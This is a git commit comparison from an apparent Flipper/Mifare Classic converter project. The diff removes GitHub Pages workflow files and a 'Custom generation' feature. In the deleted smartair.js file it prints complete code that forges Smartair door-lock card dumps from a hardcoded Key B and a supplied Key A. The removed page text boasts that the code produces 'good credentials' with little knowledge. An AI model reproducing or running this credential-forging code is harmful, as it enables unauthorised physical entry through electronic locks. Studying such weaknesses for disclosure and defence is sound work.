Compare commits

2 Commits

Author SHA1 Message Date
Michael Micsen Johannessen Wehus
557ba42ea7 Simplified 2023-04-08 00:10:38 +01:00
Michael Micsen Johannessen Wehus
27046c08d5 Started on a 2023-04-07 22:47:31 +01:00
5 changed files with 3 additions and 284 deletions

View File

@@ -1,51 +0,0 @@
# Sample workflow for building and deploying a Jekyll site to GitHub Pages
name: Deploy Jekyll with GitHub Pages dependencies preinstalled
on:
# Runs on pushes targeting the default branch
push:
branches: ["master"]
# Allows you to run this workflow manually from the Actions tab
workflow_dispatch:
# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
permissions:
contents: read
pages: write
id-token: write
# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.
# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.
concurrency:
group: "pages"
cancel-in-progress: false
jobs:
# Build job
build:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Pages
uses: actions/configure-pages@v5
- name: Build with Jekyll
uses: actions/jekyll-build-pages@v1
with:
source: ./
destination: ./_site
- name: Upload artifact
uses: actions/upload-pages-artifact@v3
# Deployment job
deploy:
environment:
name: github-pages
url: ${{ steps.deployment.outputs.page_url }}
runs-on: ubuntu-latest
needs: build
steps:
- name: Deploy to GitHub Pages
id: deployment
uses: actions/deploy-pages@v4

View File

@@ -1,51 +0,0 @@
# Sample workflow for building and deploying a Jekyll site to GitHub Pages
name: Deploy Jekyll with GitHub Pages dependencies preinstalled
on:
# Runs on pushes targeting the default branch
push:
branches: ["master"]
# Allows you to run this workflow manually from the Actions tab
workflow_dispatch:
# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
permissions:
contents: read
pages: write
id-token: write
# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.
# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.
concurrency:
group: "pages"
cancel-in-progress: false
jobs:
# Build job
build:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Pages
uses: actions/configure-pages@v5
- name: Build with Jekyll
uses: actions/jekyll-build-pages@v1
with:
source: ./
destination: ./_site
- name: Upload artifact
uses: actions/upload-pages-artifact@v3
# Deployment job
deploy:
environment:
name: github-pages
url: ${{ steps.deployment.outputs.page_url }}
runs-on: ubuntu-latest
needs: build
steps:
- name: Deploy to GitHub Pages
id: deployment
uses: actions/deploy-pages@v4

View File

@@ -1,24 +1,18 @@
3<!DOCTYPE html>
<!DOCTYPE html>
<html>
<body>
<title>Flipper <-> Mifare classic Binary coverter</title>
<h2>Mifare classic converter</h2>
<p>I take absolutely no liabilty for use please verify the files yourself before writing to a card you can end up
bricking your cards.</p>
<script src="./script.js"></script>
<script src="./scripts/smartair.js"></script>
<script>
let cardSize = 1024 //1k card
let blocks = 64 // 1k card
let filename = Date.now()
function updateCardSize(size) {
cardSize = size
blocks = size / 16
}
document.addEventListener("DOMContentLoaded", function (event) {
const nfc = document.getElementById("nfc");
document.getElementById("file-selector").addEventListener("change", (event) => {
@@ -28,22 +22,11 @@
filename = event.target.files[0].name.replace(".bin", "")
const hexStr = generateNfcFromBinary(data);
nfc.value = hexStr;
updateCardSize(data.length)
})
} else if (event.target.files[0].name.endsWith(".nfc")) {
getTextFromFile(event.target.files[0]).then((data) => {
filename = event.target.files[0].name.replace(".nfc", "")
nfc.value = data;
const re = /Mifare Classic type: (1K|4K)/
const dec = re.exec(data)
console.log(dec)
if (dec) {
if (dec[1] == "1K") {
updateCardSize(1024)
} else if (dec[1] == "4K") {
updateCardSize(4096)
}
}
})
} else {
alert("Invalid file type");
@@ -91,17 +74,6 @@
function nfc() {
downloadTextFile(document.getElementById("nfc").value, filename + ".nfc")
}
function smartAir() {
const nfc = document.getElementById("nfc");
const startSector = Number(document.getElementById("startSector").value)
const keyA = document.getElementById("keyA").value
const data = generateSmartAirCard(startSector, keyA)
console.log(data)
const hexStr = generateNfcFromBinary(data);
nfc.value = hexStr;
}
</script>
@@ -117,19 +89,6 @@
<input type="file" id="file-selector" accept=".bin,.nfc">
<br />
<textarea id="nfc" rows="20" cols="90"></textarea>
<br />
<p>Custom generation</p>
<p>What is this?</p>
<p>This is when someone fucked up big time and let us generate good credentials with little to no knowledge
All props goes to Miana and Micsen for their incredible research on Smartair. https://smartair.wtf</p>
<div>
<p>Key A</p><input type="text" id="keyA" />
<p>StartSector</p><input type="text" id="startSector" />
<button type="button" onclick="smartAir()">
Make smartAirDump
</button>
</div>
</body>
</html>
</html>

View File

@@ -35,7 +35,6 @@ function downloadTextFile(text, filename) {
function generateNfcFromBinary(data, uidLength = 4) {
console.log(data)
const dataLen = data.length;
const uid = data.slice(0, uidLength);
if (dataLen != 1024 && dataLen != 4096) {
@@ -104,18 +103,4 @@ function printHex(data, lsbFirst = false) {
hex += data[j].toString(16).padStart(2, '0') + " ";
}
return hex.trim();
}
function isBigSector(sector) {
return sector < 32;
}
function getBlocks(sector) {
if (sector < 32) {
const s = sector * 4
return {start: s, end: s + 3};
} else {
const s = 128 + (sector - 16) * 16
return {start: s, end: s + 15};
}
}

View File

@@ -1,123 +0,0 @@
function generateDoorSector(sector, keyA, startId) {
if (keyA.length != 12) {
//alert("KeyA must be 12 characters long")
throw "KeyA must be 12 characters long"
}
const keyB = "e7316853e731"
blocks = getBlocks(sector)
const trailer = `${keyA}7f078800${keyB}`
let id=startId
let data = ""
for (let i = blocks.start; i < blocks.end; i++) {
let block = ""
for (let j = 0; j < 4; j++) {
const door = `${id.toString(16).padStart(4, '0')}0f01`
block += door
id++
}
//console.log(block)
data += block
}
return {data: data+trailer, endDoorId: id}
}
function generateStartSector(keyA, uocBlock) {
if (keyA.length != 12) {
//alert("KeyA must be 12 characters long")
throw "KeyA must be 12 characters long"
}
const keyB = "e7316853e731"
const trailer = `${keyA}7f078800${keyB}`
const uocBlockStr = `${uocBlock.toString(16).padStart(4, '0')}`
let data = ""
const systemID = keyA.substring(4, 12)
data += `181e${systemID}00FAF8FF2ABC06A5002A`
data += `BC983E4C982345AA850${uocBlockStr}000000000`
data += "00000000000000000000000000000000"
data += trailer
//console.log(data)
return data
}
function generateUocSector(keyA, startSector) {
if (keyA.length != 12) {
//alert("KeyA must be 12 characters long")
throw "KeyA must be 12 characters long"
}
const keyB = "e7316853e731"
const trailer = `${keyA}7f078800${keyB}`
const doorBlockStart = `${getBlocks(startSector).start.toString(16).padStart(2, '0')}`
let data = ""
const systemID = keyA.substring(4, 12)
//280{log_block_start:04x}0001E00000{door_block_start:02x}0{num_doors:04x}00000000
const block0 = `28000100001E00000${doorBlockStart}0034800000000`
data += block0
data += block0
data += "00000000000000002DBD06A600000000"
data += trailer
//console.log(data)
return data
}
function fillSector(sector) {
const key = "ffffffffffff"
blocks = getBlocks(sector)
const trailer = `${key}7f078800${key}`
let data = ""
for (let i = blocks.start; i < blocks.end; i++) {
data+="00000000000000000000000000000000"
}
data+=trailer
return data
}
function isBigSector(sector) {
return sector > 31;
}
function getBlocks(sector) {
if (sector < 32) {
const s = sector * 4
return {start: s, end: s + 3};
} else {
const s = 128 + (sector - 16) * 16
return {start: s, end: s + 15};
}
}
function generateSmartAirCard(startSector, keyA) {
let door = 0
let doorSectorFrom = startSector+2
let uocBlock = getBlocks(startSector+1).start
let dat = ""
for (let i = 0; i < 40; i++) {
if (i == 0) {
//Header block...
dat += "968B54145D880400C844002000000018"
dat += "00000000000000000000000000000000"
dat += "00000000000000000000000000000000"
dat += "FFFFFFFFFFFFFF078069FFFFFFFFFFFF"
} else if (i == startSector) {
dat += generateStartSector(keyA, uocBlock)
} else if (i == startSector+1) {
dat += generateUocSector(keyA, doorSectorFrom)
} else if (i >= doorSectorFrom) {
const {data, endDoorId} = generateDoorSector(i, keyA, door)
dat += data
door = endDoorId+1
} else {
dat += fillSector(i)
}
}
var bin = new Array();
for (var i = 0; i < dat.length / 2; i++) {
var h = dat.substr(i * 2, 2);
bin[i] = parseInt(h, 16);
}
return new Uint8Array(bin)
}